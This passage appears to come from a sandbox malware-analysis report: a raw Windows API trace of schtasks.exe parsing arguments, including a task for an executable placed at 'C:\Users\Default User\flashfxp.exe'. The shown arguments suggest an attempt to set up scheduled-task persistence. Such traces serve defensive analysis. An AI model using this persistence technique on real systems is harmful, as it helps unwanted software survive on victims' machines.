returned 0 [0163.244] GetProcessHeap () returned 0x200000 [0163.244] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d4f0 [0163.244] GetProcessHeap () returned 0x200000 [0163.244] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d510 [0163.244] _memicmp (_Buf1=0x21d510, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.244] GetProcessHeap () returned 0x200000 [0163.244] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4c) returned 0x21dce0 [0163.244] SetLastError (dwErrCode=0x7a) [0163.244] SetLastError (dwErrCode=0x0) [0163.244] SetLastError (dwErrCode=0x0) [0163.244] lstrlenW (lpString="'C") returned 2 [0163.244] lstrlenW (lpString="-/") returned 2 [0163.244] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.245] SetLastError (dwErrCode=0x490) [0163.245] SetLastError (dwErrCode=0x490) [0163.245] SetLastError (dwErrCode=0x0) [0163.245] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.245] GetProcessHeap () returned 0x200000 [0163.245] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4a) returned 0x21dd40 [0163.245] GetProcessHeap () returned 0x200000 [0163.245] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccf0 [0163.245] SetLastError (dwErrCode=0x0) [0163.245] SetLastError (dwErrCode=0x0) [0163.245] lstrlenW (lpString="/f") returned 2 [0163.245] lstrlenW (lpString="-/") returned 2 [0163.245] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.245] lstrlenW (lpString="?") returned 1 [0163.245] lstrlenW (lpString="?") returned 1 [0163.245] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.245] lstrlenW (lpString="f") returned 1 [0163.245] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.245] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.245] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.245] lstrlenW (lpString="|?|") returned 3 [0163.245] lstrlenW (lpString="|f|") returned 3 [0163.245] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.245] SetLastError (dwErrCode=0x490) [0163.245] lstrlenW (lpString="create") returned 6 [0163.245] lstrlenW (lpString="create") returned 6 [0163.245] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.246] lstrlenW (lpString="f") returned 1 [0163.246] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.246] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.246] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.246] lstrlenW (lpString="|create|") returned 8 [0163.246] lstrlenW (lpString="|f|") returned 3 [0163.246] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.246] SetLastError (dwErrCode=0x490) [0163.246] lstrlenW (lpString="delete") returned 6 [0163.246] lstrlenW (lpString="delete") returned 6 [0163.246] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.246] lstrlenW (lpString="f") returned 1 [0163.246] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.279] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|delete|") returned 8 [0163.279] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.279] lstrlenW (lpString="|delete|") returned 8 [0163.279] lstrlenW (lpString="|f|") returned 3 [0163.279] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0163.279] SetLastError (dwErrCode=0x490) [0163.279] lstrlenW (lpString="query") returned 5 [0163.279] lstrlenW (lpString="query") returned 5 [0163.279] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.279] lstrlenW (lpString="f") returned 1 [0163.279] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.279] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|query|") returned 7 [0163.279] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.279] lstrlenW (lpString="|query|") returned 7 [0163.279] lstrlenW (lpString="|f|") returned 3 [0163.279] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0163.279] SetLastError (dwErrCode=0x490) [0163.279] lstrlenW (lpString="change") returned 6 [0163.279] lstrlenW (lpString="change") returned 6 [0163.279] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.279] lstrlenW (lpString="f") returned 1 [0163.279] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.279] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|change|") returned 8 [0163.279] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.279] lstrlenW (lpString="|change|") returned 8 [0163.279] lstrlenW (lpString="|f|") returned 3 [0163.279] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0163.279] SetLastError (dwErrCode=0x490) [0163.280] lstrlenW (lpString="run") returned 3 [0163.280] lstrlenW (lpString="run") returned 3 [0163.280] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] lstrlenW (lpString="f") returned 1 [0163.280] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|run|") returned 5 [0163.280] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.280] lstrlenW (lpString="|run|") returned 5 [0163.280] lstrlenW (lpString="|f|") returned 3 [0163.280] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0163.280] SetLastError (dwErrCode=0x490) [0163.280] lstrlenW (lpString="end") returned 3 [0163.280] lstrlenW (lpString="end") returned 3 [0163.280] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] lstrlenW (lpString="f") returned 1 [0163.280] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|end|") returned 5 [0163.280] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.280] lstrlenW (lpString="|end|") returned 5 [0163.280] lstrlenW (lpString="|f|") returned 3 [0163.280] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0163.280] SetLastError (dwErrCode=0x490) [0163.280] lstrlenW (lpString="showsid") returned 7 [0163.280] lstrlenW (lpString="showsid") returned 7 [0163.280] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] lstrlenW (lpString="f") returned 1 [0163.280] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.280] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|showsid|") returned 9 [0163.280] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|f|") returned 3 [0163.280] lstrlenW (lpString="|showsid|") returned 9 [0163.280] lstrlenW (lpString="|f|") returned 3 [0163.281] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0163.281] SetLastError (dwErrCode=0x490) [0163.281] SetLastError (dwErrCode=0x490) [0163.281] SetLastError (dwErrCode=0x0) [0163.281] lstrlenW (lpString="/f") returned 2 [0163.281] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0163.281] SetLastError (dwErrCode=0x490) [0163.281] SetLastError (dwErrCode=0x0) [0163.281] lstrlenW (lpString="/f") returned 2 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x21dda0 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd20 [0163.281] SetLastError (dwErrCode=0x0) [0163.281] GetProcessHeap () returned 0x200000 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190) returned 1 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c190) returned 0x8 [0163.281] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190 | out: hHeap=0x200000) returned 1 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cba0) returned 1 [0163.281] GetProcessHeap () returned 0x200000 [0163.281] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cba0) returned 0x20 [0163.282] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cba0 | out: hHeap=0x200000) returned 1 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d490) returned 1 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d490) returned 0x14 [0163.282] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d490 | out: hHeap=0x200000) returned 1 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cbd0) returned 1 [0163.282] GetProcessHeap () returned 0x200000 [0163.282] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cbd0) returned 0x20 [0163.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cbd0 | out: hHeap=0x200000) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc60) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dc60) returned 0x8 [0163.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc60 | out: hHeap=0x200000) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc00) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc00) returned 0x20 [0163.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc00 | out: hHeap=0x200000) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4b0) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d4b0) returned 0xe [0163.283] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4b0 | out: hHeap=0x200000) returned 1 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] GetProcessHeap () returned 0x200000 [0163.283] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc30) returned 1 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc30) returned 0x20 [0163.284] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc30 | out: hHeap=0x200000) returned 1 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc80) returned 1 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dc80) returned 0x8 [0163.284] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc80 | out: hHeap=0x200000) returned 1 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc60) returned 1 [0163.284] GetProcessHeap () returned 0x200000 [0163.284] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc60) returned 0x20 [0163.285] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc60 | out: hHeap=0x200000) returned 1 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dca0) returned 1 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dca0) returned 0x4 [0163.285] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dca0 | out: hHeap=0x200000) returned 1 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc90) returned 1 [0163.285] GetProcessHeap () returned 0x200000 [0163.285] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc90) returned 0x20 [0163.286] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc90 | out: hHeap=0x200000) returned 1 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dcc0) returned 1 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dcc0) returned 0x8 [0163.286] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dcc0 | out: hHeap=0x200000) returned 1 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccc0) returned 1 [0163.286] GetProcessHeap () returned 0x200000 [0163.286] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccc0) returned 0x20 [0163.287] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccc0 | out: hHeap=0x200000) returned 1 [0163.287] GetProcessHeap () returned 0x200000 [0163.287] GetProcessHeap () returned 0x200000 [0163.287] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dd40) returned 1 [0163.287] GetProcessHeap () returned 0x200000 [0163.287] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dd40) returned 0x4a [0163.287] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dd40 | out: hHeap=0x200000) returned 1 [0163.287] GetProcessHeap () returned 0x200000 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccf0) returned 1 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccf0) returned 0x20 [0163.288] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccf0 | out: hHeap=0x200000) returned 1 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dda0) returned 1 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dda0) returned 0x6 [0163.288] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dda0 | out: hHeap=0x200000) returned 1 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] GetProcessHeap () returned 0x200000 [0163.288] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd20) returned 1 [0163.289] GetProcessHeap () returned 0x200000 [0163.289] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd20) returned 0x20 [0163.289] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd20 | out: hHeap=0x200000) returned 1 [0163.289] GetProcessHeap () returned 0x200000 [0163.289] GetProcessHeap () returned 0x200000 [0163.289] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b960) returned 1 [0163.289] GetProcessHeap () returned 0x200000 [0163.289] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b960) returned 0x18 [0163.289] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b960 | out: hHeap=0x200000) returned 1 [0163.290] SetLastError (dwErrCode=0x0) [0163.290] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0163.290] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0163.290] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0163.290] VerifyVersionInfoW (in: lpVersionInformation=0x1dc190, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1dc190) returned 1 [0163.290] SetLastError (dwErrCode=0x0) [0163.290] lstrlenW (lpString="create") returned 6 [0163.290] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0163.290] SetLastError (dwErrCode=0x490) [0163.290] SetLastError (dwErrCode=0x0) [0163.290] lstrlenW (lpString="create") returned 6 [0163.291] GetProcessHeap () returned 0x200000 [0163.291] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd20 [0163.291] GetProcessHeap () returned 0x200000 [0163.291] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d4b0 [0163.291] _memicmp (_Buf1=0x21d4b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.291] GetProcessHeap () returned 0x200000 [0163.291] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d490 [0163.291] SetLastError (dwErrCode=0x0) [0163.291] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.291] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0163.291] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0163.292] GetProcessHeap () returned 0x200000 [0163.292] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21dd40 [0163.292] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21dd40 | out: lpData=0x21dd40) returned 1 [0163.292] VerQueryValueW (in: pBlock=0x21dd40, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1dc278, puLen=0x1dc2e0 | out: lplpBuffer=0x1dc278*=0x21e0dc, puLen=0x1dc2e0) returned 1 [0163.292] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.292] _vsnwprintf (in: _Buffer=0x21bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1dc258 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.292] VerQueryValueW (in: pBlock=0x21dd40, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1dc2e8, puLen=0x1dc2d8 | out: lplpBuffer=0x1dc2e8*=0x21df08, puLen=0x1dc2d8) returned 1 [0163.292] lstrlenW (lpString="schtasks.exe") returned 12 [0163.292] lstrlenW (lpString="schtasks.exe") returned 12 [0163.293] lstrlenW (lpString=".EXE") returned 4 [0163.293] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.293] lstrlenW (lpString="schtasks.exe") returned 12 [0163.293] lstrlenW (lpString=".EXE") returned 4 [0163.293] lstrlenW (lpString="schtasks") returned 8 [0163.293] lstrlenW (lpString="/create") returned 7 [0163.293] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.293] _vsnwprintf (in: _Buffer=0x21bbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1dc258 | out: _Buffer="schtasks /create") returned 16 [0163.293] _memicmp (_Buf1=0x21ba40, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.293] GetProcessHeap () returned 0x200000 [0163.293] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccf0 [0163.293] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.293] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.293] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.293] GetProcessHeap () returned 0x200000 [0163.293] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217a60 [0163.293] _vsnwprintf (in: _Buffer=0x21bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1dc258 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0163.293] GetProcessHeap () returned 0x200000 [0163.293] GetProcessHeap () returned 0x200000 [0163.293] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dd40) returned 1 [0163.293] GetProcessHeap () returned 0x200000 [0163.293] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dd40) returned 0x74e [0163.294] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dd40 | out: hHeap=0x200000) returned 1 [0163.294] SetLastError (dwErrCode=0x0) [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="create") returned 6 [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="?") returned 1 [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="s") returned 1 [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="u") returned 1 [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="p") returned 1 [0163.294] GetThreadLocale () returned 0x409 [0163.294] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.294] lstrlenW (lpString="ru") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="rp") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="sc") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="mo") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="d") returned 1 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="m") returned 1 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="i") returned 1 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="tn") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="tr") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="st") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.295] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.295] lstrlenW (lpString="sd") returned 2 [0163.295] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="ed") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="it") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="et") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="k") returned 1 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="du") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.296] lstrlenW (lpString="ri") returned 2 [0163.296] GetThreadLocale () returned 0x409 [0163.296] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, 